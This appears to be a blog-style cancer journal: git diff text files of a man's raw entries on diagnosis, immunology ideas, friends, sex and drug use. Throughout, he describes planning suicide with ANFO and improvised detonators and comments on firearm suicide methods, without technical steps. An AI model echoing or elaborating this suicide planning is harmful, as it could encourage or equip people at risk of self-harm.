to the gleaming +enamel of the toilet bowl. I brushed it off, and watched its reddish +tendrils sluice into the diluted pink pool below it. + +They slapped him under anaesthetic, fed a catheter into his femoral +artery, and using x-rays navigated it up his aorta and down into one of +his mesenteric arteries, then eventually down into the spot where he'd +evidently blown a small vessel near the place from which the polyp was +excised. Once there they placed a small metal spring there to block off +the torn bit of arterial wall, pulled out the catheter, and closed him up. + +Wow. + +I checked him out in the ward later that day. He looked OK. First thing I +asked him was, "Are you bored shitless?" and he said "Yep." He woke up and +said he couldn't believe all this hospitalisation which has happened to us +in the last couple of weeks. He got out a couple of days later, but was +feeling pretty knocked about. + + + ++++Pred's low cost retirement planning scheme+++ + +0) Give away porn, firearms. Why these two? Well, they're the +instrumentation of sex and death, defining boundaries of the human +experience, the great taboos, aren't they? + +Firearms 'cos they're too scarce and important to bury. And, Evelyn +Waugh in Brideshead Revisited wrote a little vignette about teaching men +in the army how to top 'emselves, and rolled out a great one-liner: + +"You'd be amazed how many chaps botch this apparently simple procedure." + +and he's right, they're generally not reliable enough for suicide... if +Lorenzo Milam is to be believed, this is because the human animal is quite +hard to kill and when some people try to blast their processor out of +their skulls, they don't die, but just end up trapped in a shattered +carcass far more greivously fucked up than the one they were trying to +leave. I can't see how that would apply to such a monstrous projectile +instument a twelve-gauge, but fuck it, I'm gonna use ANFO anyway - seven +times the VOD, I'm legally permitted to use explosives, and it's +environmentally friendly, too ... no lead. + +Porn 'cos, oh, I'd assume it'd be stressful for my oldies, ratting through +my stuff after I died, to posthumously discover things that imply I have a +sex life... probably about as shocking to them as it is to you when you +discover they had one, and though one is usually living proof of that +fact, it generally doesn't occur to one, and the bestial imagery is +probably a bit hard to take with one's parental faces on it. + +1) Tell thesis supervisors that there's no point starting the phd next +year, since there is a significant chance I'll die, or off myself, in the +middle of it. + +2) Walk into superannuation company, and ask for my (teeny amount +of) money. Which the govt will tax at 30% on the way out. Assholes. + +3) Detonators are seriously restricted, so construct and test a few of +them with which to subsequently initiate the half-kilo of ANFO with which +I will check myself out. + + +I got a call from a Melburnian acquaintance who ran an interesting thought +process past me over a horrendously costly wankerphone connection - she +was saying to herself, it occurred to her, now that many of us are in our +thirties - who's gonna cop it first... we're getting into that age group +where we start to get heart attacks and diabetes and so forth. + +Well, I dunno, obviously someone has to cop it first. I've outlasted +several of my high school classmates, who have died from, amongst other +things, accidental incineration, vehicle crashes and suicide. + +I pointed out, the people who cop it first, are the ones who die of the +stupid childhood diseases which most of us usually survive. We only think +we're the ones to cop it first since being killed hasn't happened to us +yet, so it's the first time it happens _to us_. I exclude the deaths of +foetuses due to accidents and disease, and also infants before they can +speak, since I don't consider them people so much as mere precursors to +them. One values a human for the personality which, years after their +birth, appears within them, not for the cheaply manufactured meatware +chassis in which it lives or the chunk o' neural net on which it is +executed. "Sleep, scream, puke and crap" doesn't constitute much of a +personality as far as I can tell. + +The ones who really cop it first from cancer are never given names, much +less shown to their mothers, much less even spoken about except in the +scientific journals. These are the teratocarcinomas, hideously +unconfigured, partly differentiated lumps of immortal tissue which due to +various developmental accidents never got its act together to become a +foetus, but became a tumor instead before it was even born. None of us who +live long enough to learn to talk can really claim our life sucks when we +get clued up about this sort of stuff. + + + + + +Someone else, a dear acquaintance, emailed to me: + +>> I don't want you to die. + +And I replied: + +> I don't particularly want me to die either. But look at it this way. At +> least now, to some extent, I have a clue how I'm probably gonna. In a few +> weeks, I'll have deduced my odds from the literature, and know how long I +> have. Most of us never get to find that out, it's a sort of luxury to +> know. Compare this to my expected mundane exit mode as a motorcyclist in +> Sydney, I'd be lucky to get two seconds of impending fatality awareness, +> and that'd be long enough to think, "OH SHIT I'M DEAD!" which would +> really shit me - two seconds is not long enough to say all the important +> things one thinks one has to say when one's on the way out. + +At least it wouldn't shit me for very long, and would spare my immediate +audience some things they didn't really want to hear, like the somewhat +sardonic rants I've thrown at my keyboard this last few weeks. + +She slipped me the address of a woman whom, it so happens, is a medico who +happens to be a competent biochemist with a clue about cancer and +nutrition.... it's her mum! But I'm chewing over wether or not to make a +move there. The emotional tangles are tricky. I'm gonna have to think 'em +over. For about a nanosecond. My miserable arse is on the line here. + + +A consequence of the way cancer sorta-exponentially progresses is that +most of the statistically condemned, if I assume myself to be amongst them +for a moment, will be dead not in the first or second of their remaining +five years, most will cop it in the forth or fifth year, or maybe a little +later (you have to dig up the 10-year survivability stats to know that, +but given the smaller number of remaining people in the sample, the stats +aren't as certain). But it depends on wether or not I have mets +already. If I do, they're probably not gonna be in my chest or guts, we'd +have spotted 'em on the MRI and CT scans. Which leaves arms, legs, neck +and head. + + + + + +"I couldda stayed at home pal, and lived a joyless life, + but where the fuck's the fun in that? Superannuation, wife, + the whole fucking package - for me it never suited. + A softcock life, and limp death? Go and get fucking rooted." + +TISM - "Attn Shock Records: Faulty Pressing - Do Not Manufacture" + + +I'm a bit paranoid now, about the appearance of mets. I get lots of stupid +little skin bumps every year anyway, and now I view them through more +apprehensive eyes (when I can see them). They bespeak the existance of +ones I cannot see and cannot find, 'cos there's a few billion places to +hide a couple of nanolitres of new metastatic growth in a body like yours +or mine, which occupies about the same volume as a couple of kegs of beer. +One generally finds out about 'em when they do something stupid like cut +off a nerve or a critical artery. + +Which brings me back to chat about ... immunology. If my immune system's +any good for anything, it is recognising molecular patterns. What *is* +there, specific to the cells of my personal home-grown suicide bioweapon, +that I can train my lymphocytes to lock onto, to rid me of these fuckin' +tumor cells? What crucial thing do they have which normal cells do not? + +There may not be anything for them to get a lock onto. Nevertheless, I'll +find it amusing to entertain the conjecture for a little while. + +Tumors appear, and change, *because* of errors in their DNA copying and +repair processes. This happens because there's damage to the genes which +encode for these enzymes, or because they aren't supplied with the +co-factors they need to do their complicated subatomic, information +systemic exercises in molecular recognition, atom abstraction and electron +pushing (do read Tom Schneider's J. Theor. Biology 148, pp83-123 for a +good information theoretical description of enzymes... yes, the laws which +run computers are also responsible for running life). The solution to the +latter problem is to eat foods containing these co-factors (things like +transition metals... copper, zinc, that sort of thing, well, duh). The +solution to the former problem is trickier - tucked away in the nucleus, +DNA with broken genes on it is never seen by the immune system - only the +broken proteins for which it encodes. DNA repair, by the way, is not very +good... a repaired strand with broken code sequences on it is not +detectably broken, as is a physically broken strand. DNA repair enzymes +are not that intelligent. + +Exploiting cell mediated immunity is probably the go. + +If the tumor cells didn't cook up MHC-I or MHC-II presentation proteins +due to some brokenness in their system, they were probably smashed long +ago by CD54+ cells, which pay close attention to the presence of these +proteins on all cells (and which, I might add, is the reason that +herpesviruses fake these proteins in the cells they have invaded - so the +NK's don't smash 'em. Tricky bastards.). + +If it's possible to get a lock on the precise sequence of fragments of +broken varieties of DNA polymerases, and/or DNA correcting enzymes, then +we're a lot closer to home. I could vaccinate myself against cells with +broken DNA repair / DNA replication proteins, *if* these proteins are +chewed up by the cytosolic proteasome complexes and fed out to the cell +membranes for recognition. + +But enzymes are complex things. One would have to be very specific about +which fragments to vaccinate against, and where they are chopped +(decisions made at the amino acid sequence level). Nor is one allowed to +toss around pCpGp DNA sequences on one's vaccine with gay abandon, either, +since one's vaccine tends to be chopped up faster (though it also exhibits +greater adjuvancy). + +If the tumors are expressing no broken error-correction protein fragments +then this approach won't work. What else would they possibly be serving up +for recognition? + +Telomerase. Vaccinating against this might also make me immune to my own +gametes. Dumb idea... I don't need my 'nads to fall off just now, thanks. + +A broken version of p53? Nah. Real Tumors surf around sayin' "I don' +have to show you any steenkin' p53" because they don't *care* about +controlled cell growth. + +I threw this together to comprehend an immuno approach to attaking cells +with broken DNA copying enzymes. + +Allele of +DNA error consequence of therapeutic targetting +correction +protein + + +No allele <--- no DNA polymerases, so tumor can't proliferate. Ha ha! + +A few errors <--- lymphocytes target friendly cells as well as tumor. Bad. + +Many errors <---- lymphocytes target cells with shit DNA copying fidelity, + that is, tumors. Good. Contradiction: need to target the + vaccine against conserved sequence in such a gene. As if + you're gonna find one in such an error-prone + environment - though one might find such a sequence + fragment it is unlikely to be common to all the mets. + +Lots of errors <--- tumor cell falls off its error catastrophe cliffside, + doesn't need to be immunologically dealt with, ha ha, + eat shit and die. + + +Maybe they're getting by without error correction anywhere, poised on the +lip of their error catastrophe threshold. + +The background to all of this is that it isn't gonna FIX EXISTING ERRORS, +only increase the likelyhood that cells exhibiting them are going to be +immunologically destroyed. Anyway, I might just be fixing a symptom here, +not fixing the actual cause of the disease. Besides which, the whole +technique is patented up to the moon... I don't have much time to do it +either - I'd have to drag together a PCR thermal cycler, an +electrophoresis rig, some bacterial cloning and mammalian expression +vectors, a pile of restriction enzymes, blah blah blah. + + + + +It dawns on me that my entire cogitating on these molecular processes and +therapeutic approaches is, in fact, a refusal to face the inevitable. + +"You hear that sound? That is the sound of inevitability. It is the sound +of your death, Mr Anderson." - Agent Smith, The Matrix + + + +When I wrote earlier that tumors select for their own viciousness, I +didn't mention that some of the fuckers actively hide themselves in +proteins like fibrin to prevent immunosurveillance (this is the +cytological equivalent of the Klingon Cloaking Device - if lymphocytes +can't "see" the tumor, they can't kill it). Some emit proteins which +suppress immune activity (IL-10 and TGF, etc) and they also mess with the +chemokine signalling pathways of the lymphocytes (mainly pumping out "Kill +yourself" signal proteins into their vicinity) in such a way as causes the +immune cells to enzymatically blow their own brains out (well, their own +nucleus, actually), before they have a chance to attack the tumor cells. + + +Not only that, cancer literally eats you alive. It *hollows you out* at +the molecular level. Tumors like to run their energy metabolism on glucose +(not ketones, not fats). They usually do this anaerobically, too, so they +piss lactate into their surroundings, the processing of which is a further +waste of my energy reserves (the Cori cycle is energetically wasteful). +But the really evil thing is, they dump signalling proteins into their +immediate circulation, which then spread throughout my body, telling my +every cell to turn on gluconeogenesis, which is the biochemical synthesis +of new glucose from existing proteins in my body. Cancer _tells_ the rest +of my body to turn itself into food to supply the tumor. It remotely +reprograms the behaviour of the very meat of which I am fabricated, +telling that meat to deconfigure itself into nutrients for additional +tumor growth. + +Bastard. + + +Millions of people die every day of preventable diseases, ones easily +knocked over by nutrition, clean water, drugs which work really well. But +this ain't one of those. If there was ever an enemy worthy of its +victories, this would have to be it. Cancer is a probe into the +configuration space of possible diseases. One is compelled to fight a war +of attrition against a hoarde of different armies, all armed and armoured +differently, all of them carrying around the same molecular software +library wherein is encoded every trick my body might use to fight it off. +It is a hundred different versions of the same disease, which is why the +silver fuckin' bullet - falsely advertised every so often in newsprint - +does not exist, why terminal cancer patients undergoing surgery are often +carved open and the surgeons take one look inside, and immediately sew 'em +up again 'cos there's no point, and they starve to death, eaten alive by +their own reprogrammed flesh. + +What good a sword against the fog? + +My reading list is getting huge, I'm wearing out my retina in the process +of uploading the contents of chunky immunology texts into my brain, they'd +bore the shit out of you, unless your life depended on 'em. It helps that +I know the biochem lingo in advance. But this reading is eating into my +email and conversation time. I guess most diseases exhibit that propensity +where they forcibly focus your entire attention on them. + +As happens, right now, ow, there's a strange, faintly painful lump at the +bottom of my neck, nestled just above the medial aspect of my left +clavicle. If I jam a thumb in the hollow behind my left +sternocleidomastoid and use my index and middle fingers above the +collarbone I can gauge its dimensions. It is approximately golf-ball sized +and has no business being there. Natch, it's just above where we CT and +NMR scanned last month. Sly bastard. I'd invite mum to feel it but given +the state of her sharp, manicured nails I don't know if I'd die of first - +blood loss or bacterial infection. + +If this is a met, I'm gonna have to move fast to biopsy it, or chop it +out, or um, get the fuckin' ANFO before it does something stupid like, oh, +invades my carotid artery and strokes the left side of my brain out. It's +the festive season and all the cancer choppers have gone home. There may +be less time than I had reckoned. + +I look around at the stack 'o biochem and immuno' texts around me. It +occurs to me that I am not gonna live long enough to read my way out of +this. + +There sure as hell isn't anything symmetrically matching me on the other +side of my neck. So I'm stage IV after all - which sucks a lot. I have +less time than I thought. Shit. + +"It's only a lump - you've gotta love that, + when the tests are done, the results are back. + Unleadded's got cheaper. A seat on the wing. + When at last you're sure - she keeps looking." + +-TISM `You've gotta love that.' + "Attn Shock Records: Faulty Pressing - Do Not Manufacture" + +-------- + +Starship Predator, Captain's Blog: +18122003 +3 weeks postop. + +I haven't been keeping a log very well so the following will be just a few +anecdotes. I'm obviously not Alexander fucking Solenhytzin. + +---- + +I went around to Fee and Jase's cafe (Glow, on the arse end of King St, +StPeters), where I used to hang out and eat when I could afford it (their +food's a bit more dear than the old Three Feet was). They asked me where +I'd been for the last couple of weeks and I gave 'em the compressed +version, which come to think of it is getting pretty compressed since I'm +sort of mentioning a lot, and it saves time - something of which i am +acutely aware is running out. They're pretty hard core christians, living +a righteous life in fear of the big bad judgement at the end, and after I +clued them into my impending death and godless atheism I wondered if they +thought I was gonna go to hell for my sins. + +Jase (brow furrowed) > So what do you do now? +Pred (laughing) > Hang around and die. + +We had a spliff, I no longer give a millionth of a shit what it does to +the tennis-court's worth of delicate alveolar surface through which I have +been doing surfactant-mediated gas exchange for the past three decades. +Cannabis makes me giggly, and when I walked out, my face hurt from +excessive grinning. No wonder it's illegal. Too much cheap fun. + +----- + +Hope is a dangerous thing. It's what keeps you alive when you really +should know better. + +I suspect most people staring down this circumstance do their damndest to +convince themselves they're gonna make it out alive, but there's a +niggling suspicion in the back of their heads, which says they are gonna +die. In some ways I am taking the reverse attitude - I'm pretty sure I am +gonna die, but there's this corrosive, strange hope, that I might escape. +It's not that I cling to it, but rather that it clings to me, like that +fuckin' glue I had to get off my arms and neck with Preen last week. I'd +rather the luxury of cleanly resigning myself to this business of death +than wandering aimlessly in the indecision which comes with misplaced +hope... only to have death sneak up on and spank me like primary +school teachers used to when I hadn't done my homework. + +This is not helped at all by many of the people I talk to, when I tell 'em +what I have, and the dolorous odds which I have culled from the +literature, are almost uniformly self-delusional, or put a happy spin on +it, even when they have obviously no fuckin' idea what I'm up against, and +even after I precisely describe what I am up against. They just can't seem +to believe it. + +This falls into one of two camps: One is, the `you'll be in the 20% that +survive' crew (this, of course, is a permutation on the same sentence +mentioned to all thousands of people who have already died of it). The +other is, telling me about some rello of a friend who had some bastard of +a cancer chopped outta them and was sent home to die, and then underwent +remission. I imagine they're not gonna tell me about the friends and +rellos who, felled as expected, are now in the ground. + +Others tell me to visualise a nice place I want to be in five years, which +I think is meant to give me something to aim for, to motivate me to hang +around. However, I can't, in the light of western civilisation's +inevitable impending collapse from energy starvation due to the +energy unprofitability of the remaining hydrocarbon reserves upon which it +is absolutely dependant, which would have occurred within my normal +lifetime anyway. I kind of think I'm lucky to have a ticket out. I have +leaked this news to a couple of people and they can't wrap their heads +around the un-negotiable, inescapable thermodynamic inevitability of this +situation either. For reasons totally unrelated to my carcinogenation, the +future still sucks. + +I'm starting to realise that they're telling me this "you'll survive" and +"be happy" stuff so as to convince themselves, in my presence, that I'm +not gonna die, or that they can convince me to go to the effort of trying +to be rid of this disease, maybe for their sake as well as mine. + + +The one exception to this is happy-face approach is Diode, with whom I +started the Sydney Cave Clan more than ten years ago. Cancer smote his dad +Milo in the mid 1990's. I went on one of Milo's final bushwalks. Diode +came around a couple of weeks ago with a load of books (Hacking the X-box, +in particular, was a great read, but there were also some great books in +the crate, including one about the history of taxation) and I'm glad at +least he knows there's no point telling me `good luck' and has the guts to +say so. I agree. But he's sending me these emails now which make me +cranky, suggestin' I should not just glue myself to the search engines, I +should get outside and be happy. Which goes against my geeky, somewhat +curmudgeonly nature. I am grateful, at least, that he's got his head +around what I'm in for. I guess he got the clues when his dad died. + + +The receptionist at the dentist asked me why I cancelled my future +appointments, and I told her that although I thought their service was +excellent, my teeth are, at this stage, almost certain to outlast me +without any additional care whatsoever. At least I'm going out with a nice +set o' choppers. + + +---- + +Explosives are a fast, reliable, but violent, messy way to go. They don't +leave anything pretty to look at. They're dependable. Back when was +getting my explosives licence, the forensic ballistics crew came and +showed us what explosives do to a human. I saw the photos of what happened +in the 1980's when the family law court judge's wife opened the front door +to a load of gelignite, it flung her down the corridor and through the +brick wall at the end, into the next room. Tore her limbs off. + +She wouldn't have known what hit her, and at 3500 metres a second nor +would I with the relatively slower blast front intrinsic to detonating +ANFO, but I mean, what a fuckin' mess for the rellos to look at. Come to +think of it, a waste of good dentistry, too. Maybe I should seek a more +appearance-preservative approach for everyone else's sake. + + + +--------------- + +XML invited me over for another round of watermelon consumption (this is +not a codeword, it just means we eat watermelon) and frantic, damaging sex +- she bites and it's all I can do to stop her anchoring her teeth into my +neck, shoulder or whatever other chunk of musculature onto which she can +lock her jaws. Normally I wouldn't care but I'm a bit fragile just now. We +shagged ourselves into near crippledom prior to my hospitalisation I was +faintly apprehensive. The watermelon was deeelightful. I asked her why it +didn't have any seeds and she said `it's sterile'. I empathised with the +watermelon, both from that perspective and from our shared ill fortunes to +be being eaten alive. My rigging was still sort of broken from a +neurological perspective and I was not entirely sure that the laparotomy +scar had enough integrity to withstand the rigors of the act. It +hurt from the mere touch of a tee shirt, and probably wasn't gonna be +entirely amused with someone else's bod pressed against it. + +This turned out to be correct, so there was a certain amount of gymnastics +involved to push the pain:fun ratio into mutually enjoyable values. We +discovered some uh, very mutually enjoyable values, actually. My +reproductive plumbing appears to be working again (Murphy's Law would hold +of course, so I was cloaked in latex as usual) which is a relief, and we +both got off, shaking, flushed, reeking of fucking, nerves burning, +crushed against each other. Yeah, the scar hurt a lot but I didn't much +care. It felt totally weird when she ran her fingers along it - delicate +tingling bliss interfingered with momentary stabs of agony. Ahhh... great +shaggery is one of the things most worth living for, and one of the best +gifts one can give to another human, but it has that irritating aspect of +giving me more reason to live, which is what I don't want - I can go out +cleanly. I don't wanna feel like I'll miss anything when I go. + +----------------- + +The Ice Cream Factory crew, who exist under the same sheet of tin as does +the bulk of cat.org.au's infrastructure, threw a party on Friday night. +It's a weird thing to be at a party where everyone has heard on the +grapevine that yer dying. It sort of kills the mood. + + +"Often, private schools, what they do with the drugs, they you know, uh, +they bring in a criminal, right, a guy in gaol, you know, he's out of gaol +now, he's lookin' really bad, and uh, they put him in front of the class, +and you know, they talk about how they used to get onto heroin and +that, and then they had to break into houses which led 'em into the +criminal scene which meant they got into bank robbery and they were still +hooked on heroin, then they went to gaol. And he said they interviewed the +kids after, and the kids are, he said, what the kids are thinking is, this +guy's had a fucking great life, he's fuckin' far better than my dad, my +dad's a boring fuckin' prick, and look at this guy, you know, if I - if I +had to pick between him and my dad, I'd want his life, and look at him +now. They all say the same thing - look at him now, he's alive and he's +getting paid to go around and say how bad drug use is." + +TISM - "Attn Shock Records: Faulty Pressing - Do Not Manufacture" + + + +The kind person who manufactured those cookies I didn't get to use last +month, didn't warn me how kick-arse they were. And, I use the magic weed +on average about once every year so I'm not desensitised to it. I had one, +about two inches square, an eighth-inch thick, on am empty stomach. Two +hours later I was absolutely stoned off my brainstem, to the point +that anything remotely amusing made me laugh so hard I thought I'd tear my +stitching out, which wasn't helped my the repetitious mental playback of +an ancient Sesame Street song, sung by the Cookie Monster... C is for +Cookie, that's good enough for meeee. Nor was my sudden tendancy to laugh +at how funny it was to be this stoned helping me either. I had to crash in +a bed somewhere. An unspecifable time later, mysterious Cookie +Manufacturer found me sprawled there, face hurting from smiling too much, +almost too stoned to get my clothes off. We then proceeded to shag each +other's brainstems out. The pain-muting effects of the cookie might have +helped, but I have gotta go easier on this scar. My smile muscles ached +for most of the next morning. Stuff the cookie monster. P is for pussy, +that's good enough for me. Too. + + +This would appear to be a tale of drugs, sex, death and anarchy, but you +shouldn't get the idea I'm normally some sort of drug-munchin' studly root +rat - though I could learn to adapt to the life. I sure as shit don't feel +especially energetic or athletic and I look like something released from +the morgue for unexpectedly waking up when stabbed mid post-mortem. The +last woman I mentioned my impending exit to immediately told me she 1) was +frigid and 2) she'd love to shag me. Who am I to refuse such an offer... +but I can't figure it out. Are dying men supposed to try harder in the +sack, or appreciate it more? Or to be closer to their emotional sides? Do +some women like the guarantee of a short-term relationship which I imply? +Is there some special insight or into life, or some unusually candid +conversation that one expects to extract from a self-proclaimed impending +stiff-to-be? I thought necrophiles were at least supposed to wait until +their love interests got around to carking it. But, in the face of all +this sudden carnal generosity, I'll feel like a lying bastard if I *don't* +die. + +--------------- + +I'm thinking more than infrequently about Joss, over there on the other +side of the planet, probably angsting about me, though I hope she isn't. I +had the strange thought that I should chop off my hair and mail it to her. +It's symbolic of me in some ways - thin, frayed, knotted, unorganised, and +already dead, after all. But I lack an address. And anyway it'd be risky +from various perspectives, both emotional ones, and, knowing my hair, from +a quarantine point of view. The Brits would be well within their rights +incinerating it as soon as it crossed the channel. + +---------- + +Dad wandered home with some interesting scars on his bonce, since he's +just had some squamous cell carcinomas frozen off his ears and forehead. +Fuckin' cancer. Mum's the only person around here who hasn't got it and +she's been smoking tobacco for since the middle of the second world war. +I've conjectured to her that this is because there isn't a tumor on earth +that could survive living in the toxins which have accumulated in her +body. Maybe I should start on cigars. + +----------- + +Sunday 21 Dec 2003 + +Diode and I went down a drain we visited a decade ago. I've not been down +in the dark, earthy-smelling bowels of the sururbs for some time. It was +stinking hot, so drain exploration was just the thing to do - a fine day +under Revesby. It has grown a new section. We pestered frantic Christmas +shoppers in the carpark by making announcements into their vicinity in our +best security guard voices, from the safety of secluded gutter grilles. + +"Trolley Control, attention Trolley Control we have a Code Six shopping +trolley violation, send backup to sector four, suspect is a white male +beergut, trolley is adjacent to a black Nissan Eczema, registration +SUX823, repeat, subject is armed with beergut, assume dangerous." + +Some of our exits were blocked by locks on various grilles, or bolts +screwed down more tightly than our fingers could open, or because cars +were parked on top of them. + +I found some tools in the debris at the bottom of the pipes - a beautiful +pair of pliers, barely corroded, and a philips-head screwdriver, etched by +years in the anoxic sludge, but salvagable. We ended up climbing out a +grille in the back yard of a house while the Maori occupants were playing +footy in the back yard. Their pit bull gave us more hassle than they did, +since they were standing around gaping at the two grotty freaks drenched +in old spiderwebs who appeared in their yard as if straight out of the +air. We climbed over their front fence to get out, 'cos they'd lost the +keys to the side gate. Arrr. Recreational trespass, just like the old +days. + + +----------- + +Malibu Stacy suggested we name the tumor. We named it after Microsoft's +founder, Bill Gates III. + +Tumorsoft - which hospital do you want to go to today? + +I'm eating for two again. I'm avoiding carbohydrates. I love carbs... +they're in pasta, bread, just about everything I (used to) eat. So my diet +sort of sucks again, mostly protein - fish, chook, various fruit'n'veg - +but at least I can eat fats (which are effectively hydrocarbons with +various moieties chemically appended, so are processed in different +biochemical pathways to the sugars). The reason for this is I suspect +Bill, the secondary tumor taking over my neck is running with a broken +electron transport chain, as many cancers do since their mitochondria are +kind of broken, so can't oxidatively metabolise lipids or protein for +fuel. So I'm trying to drive my metabolism into ketogenesis, which means I +will be running on fat and proteins, exhibit hypoglycemia, feeling like +shit, stinking of acetone and hopefully starve the bastard to death. Yeah, +as if I'm gonna think about that in a few days when I fight my way up the +road system to my cuz's place for the family din-dins on the 25th. Put a +load of carbs in front of me and I'll a-guts it. Some days I just don't +give a fuck if what I eat helps to shorten my life. I'd rather just enjoy +the food, but sometimes I just feel as if by the mere act of eating at +all, I'm helping myself along towards the cemetary. Anyway I'm gonna try +and get Bill chopped out this week. + +It's sunday night, I have to have a shower and wash the cobwebs outta my +hair and the Drain Stench off my feet. I want to get away from the +terminal .. um, keyboard. I might write more in a few days. + +If you've made it this far, you've suffered nearly eleven thousand words. +Congratulations. It probably wasn't good fun to read. Some of you will be +offended because I employed the word fuck at least sixteen times, and +quoted other people using it in addition. However, I like the word, its +occurence here is not really that excessive and seeing it once more won't +kill you. I've also used words you had no idea existed, so don't accuse me +of leaning on it due to a depauperate vocabulary. Have a merry fuckin' +christmas and a happy new fuckin' year. What's that? I'm innumerate? + +Fair call. + + + + + +The next file will be at conway.cat.org.au/~predator/bill_me.txt + diff --git a/ides.txt b/ides.txt new file mode 100644 index 0000000..1c400b4 --- /dev/null +++ b/ides.txt @@ -0,0 +1,1591 @@ +File: ides.txt +Cont: The journal of predator extinction, Vol 1, file 8 +Prev: consent.txt, gutful.txt, gutting.txt, gutted.txt, + hunting.txt bill_me.txt, getting_it.txt, losing_it.txt +Music: Ministry - New World Order, Psalm 69 +Mid-feb thru early March 2004 + + +Odd things happen. In a previous rant (losing_it, i think - the really +*big* one) I mentioned someone was on the hunt for some DNA. I think the +real reason I'm reluctant to pass my code on is, not so much the tendancy +one might have to give life to a new human with their own inherited +likelihood of becoming a terminal cancer sufferer later, but the existance +of the slim chance that I'll have to take responsibility for, and help to +raise, whatever rugrat might eventuate if one arises and if I live long +enough to see it grow up. I mean, bloody hell, I barely take +responsibility for *myself*. + +Much as the world is swamped with people, and most of us probably realise +that, we nevertheless think `Well they might as well be _our_ +descendants'. So off we go, begattin' freely on our own placemats. + +I spent sunday recovering from the Mek party and then jumping around at +Vortex (industrial goth night club), which was very good. I whipped around +to STUCCO to install some net cabling and an interface card, then went to +Bronte with some of the STUCCO residents. I got the shit bashed out of me +in the surf - was awkwardly faceplanted underwater into the abrasive grit, +and staggered a bit dazed out of the salt water, skin stinging, joints +hurting, bits of marine life caught up in my hair, but at least I didn't +stink of fuckin' nightclub smoke any more. Then I realised I needed FOOOOD +so I went to King St, cooled as I rode along, by the wet trousers I'd worn +into the surf. But the grit scratched my bum, and my pockets were still +full of wet sand when I got there. + +The odd thing that happened took place on the shopfront seat of Cinque in +Newtown. It pertains to someone (else!) who is on the hunt for some DNA. +A chap who lives up the north (mekanarcky) end of the Ice Cream factory, +(for whom I've supplied some network cable into which he has plugged his +'poota, so it can communicate with the hub I repaired and the router I +built for Mek to use, which is how I came to know him) was walking past +and he stopped for a chat, then sat down for some linguini. Matt's a +Victorian and he's known another acquaintance of mine, two-i's Liisa, for +about fifteen years. There are other Lisas associated with the raggedy +crew of artists and firebreathers and body piercers (and people who put on +plate iron body armour and then fight each other with petrol powered angle +grinders) such at the Mekanarchy site, so one has to distinguish them; +Leylandroid Lisa, fer instance, from Futurelic, can change out the couple +of tons worth of diesel engine of her converted bus, by herself, in four +hours... coolant hoses, fuel line, transmission, electrics, hydraulics, +the whole schmeer, which is a hell of a skillset, and she does pretty cool +programmable metalwork sculptures and so on. And intelligently salvages +network hubs too. + +I met two-i's Liisa when I was squatting Annandale (Derek and Crazy Gonzo +are still there, Mr Kay has permitted them to be there but the place is +reverting to derilection and jungledom as I write in mid Feb 2004). She +was pretty skinny when I met her, and looks _economically rationalised_ +now, and although I think she's pushing the outskirts of cachexy a bit, it +does highlight her delightful curves somewhat. Come to think of it she +looks pretty delightful *anyway* regardless of her threatening appearance +in the photograph on the Mek notice board of her wearing earmuffs and +carrying a loaded Kalashnikov at a firing range in Vietnam. This holds +true even after some drunken prick glassed her in the pub in Tempe a year +ago. It completely escapes me how that asshole escaped a suspicious +swimming accident (eg: getting caught around the prop of someone's +outboard motor after a month's forced exploration of the bottom of the +nearby Cook's River with a plumbous ingot and no scuba) since he's +apparently done this sort of thing before. If you look carefully you can +see the scar. Just barely. + +She's hiding up somewhere in Kyogle now, on her own bit of dirt. It is +thought the reason for this excessive skinniness is years of not +adequately nourishing herself, too many dwugs, and so on. She's trying to +reverse this with good nosh, a bit of exercise, country air, etc etc. +Existential angst has her, Matt thinks, and she's wondering what the hell +to do with her life since squatting, dwugz and living aimlessly is sort of +unsatisfying for her now. So she's considering popping out a rug rat. +Probably to give her a sense of purpose (geez, just what my mum adopted me +for!) Matt thinks. And so she seeks some DNA for the task. The chick who +deflowered me many years ago used to say that sperm was cheap, but the way +I see it, since it's not all the same, it depends where you get it and +Ebay really isn't the place to go looking. I can't say I'd recommend my +code to anyone, since it gives rise to a myopic, crooked-toothed white +boy, now documented to have a propensity for terminal cancer. Liisa is +nevertheless eminently shaggable. I've met her parents and one of them is +like me in that he has an explosives licence and has actually blown things +up under its aegis. Would she give a rats about the GPL? Probably not. + +It's odd, as I disappear I remain without any biological relatives that I +know of. I phrase it this way because a long time ago as an impoverished +wanker with no particular concern for the overburdened state of the +planet, I got paid to donate my genome to anonymous recipients. So there +might be little half-mes running around already. But I'm never gonna meet +'em. + +So Matt gave me her phone number. How does one ring up and say, uh, look, +if you're looking for some clean code (albeit, due to lack of biological +rellos, code with no additional Fisher information such as might be +derived from characteristics of the relatives) I might be persuaded to +supply some, though there's no implied warrantee for merchantability or +fitness for a particular purpose (quoting from the GPL here). + +Contrast against this the thought processes I ran when R implied she'd +be interested in acquiring some of mine for her rugrat project. Would she +feel rejected that I wasn't gonna provide her with my code if I donated it +to someone else? I dunno. What the hell's happened to my head in the last +week? Has the "Don't give a damn about the future any more" co-efficient +jacked up suddenly? Yeah probably. But it's always more complex than that. + + +Do they really know what they're in for? Genes exist on a fraught tactical +landscape. Human reproductive physiology is something of a disaster, +terribly riskprone. Women are shaped by evolution to seek good DNA to mix +theirs with, and get in a fiduciary relationship with whoever is prepared +to dump cash into the rugrat's development, which might not be the +purveyor of the nucleotides in question. And men seek essentially the same +goals but via different means. + +Am I looking for someone or something to fill in the gap, to perhaps +prevent the end of my (very short) line? Maybe. Subconsciously. I can't +trust my brain to think clearly on this issue. Reproducing the genes which +encode for themselves is what brains evolved to delude their humans hosts +into doing. Logically, if I am dead I shouldn't give a shit what happens +after I am dead, but here I am cynically calculating how to cut my (not +biologically related) sister out of a large slice of what would accrue to +her for the mere effort of outliving me. It also has to do with seeing the +resources accumulated here in this family not being defaultly acquired by +my sister who has demonstrated absolutely nothing in the way of caring for +what she has been given. Not that I have an estate or anything, but it +does strike me as a terrible shame that my crazy adoptive sister might +survive us all, inherit all this stuff that dad worked his arse off for +years to get, and then she'd fritter it away funding her nothing of a +life, or even worse, pouring the resources into a rugrat of her own, which +would by Mendel's laws stands a 50% chance of being as crazy as she is, +and a 50% chance of inheriting the tendancy for breast cancer which took +_her_ biological mum out at age 33 (my sister is 31 as I write and smokes +a pack a day). Which is why *she* was adopted out in the first place - her +biological family knew of this genetically inherited insanity and were, I +guess, under the guise of altruism just ridding themselves of rubbish they +didn't want. All of us practise eugenics when we choose mates, and we +always assume our genes are better than those of all the other people who +didn't reproduce with whoever we choose to 